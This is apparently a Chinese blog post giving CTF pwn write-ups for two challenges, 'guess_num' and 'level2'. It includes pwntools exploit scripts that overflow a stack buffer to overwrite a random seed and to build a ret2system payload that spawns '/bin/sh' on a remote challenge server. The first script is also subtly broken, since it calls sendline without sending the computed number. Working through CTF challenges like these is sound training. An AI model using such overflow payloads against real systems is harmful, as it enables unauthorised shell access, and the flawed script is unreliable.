2019.7.14 guess—num and level2

博客介绍了使用`cdll.LoadLibrary`加载动态链接库及用`ldd`查询文件所需动态链接库路径。还阐述了Pwn题核心思想,即通过栈溢出覆盖原函数返回地址,创造伪栈帧,且主调函数基地址和返回地址字节数依程序位数而定。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

A
1.guess_num的脚本如下:

# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *  #下面要用到c语言的函数。所以导入ctypes模块的全部方法
io=remote('111.198.29.45',49952)
b = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")   
payload = 'A'* (0x20) + p64(1)  #将1覆盖随机数种子,该种子是两个字节
io.recvline()
io.sendline(payload)
b.srand(1) #取该种子为1
for i in range(10):
    num = str(b.rand()%6+1) 
    io.recvline()
    io.sendline
io.interactive()

b = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") 用ldd 文件名来查询这个文件需要链接的动态链接库及其路径。

  kk@ubuntu:~/Desktop/black/GFSJ/guess_num$ ldd guess_num 
    linux-vdso.so.1 =>  (0x00007ffd3f5a0000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1e6c0b0000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f1e6c67d000)
    
    主要思想就是利用溢出将覆盖随机数种子,因为只要随机数种子一样,产生的一系列随机数都是一样的。
    2.level2的脚本如下:
 # -*- coding:utf-8 -*-
from pwn import *
p = remote('111.198.19.45',59444)
elf=ELF('./level2') #以ELF文件读取文件
sys_addr=elf.symbols['system']#搜索函数用的是[ ]
sh_addr=elf.search('/bin/sh').next()#搜索字符串用的是()
payload='A'*(0x88+0x4)+p32(sys_addr)+p32(0xdeadbeef)+p32(sh_addr)#注意16进制计算
p.recvline()
p.sendline(payload)
p.interactive()

这个题的核心思想是通过栈溢出将原函数的返回地址覆盖成自己想要执行的函数,即创造一个伪栈帧(需要参数,返回地址,主调函数的基地址,局部变量)。上面描述的都要压在栈里面。主调函数的基地址和返回地址所占的字节都要根据程序是多少位写的来判断(32位的4字节,即一个寄存器。64位的,8字节)。
B
1.明天的任务:看3集32位小甲鱼的汇编,3集c语言,2两个pwn题目(弄懂),pe文件结构两集。看30页x86的汇编书。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值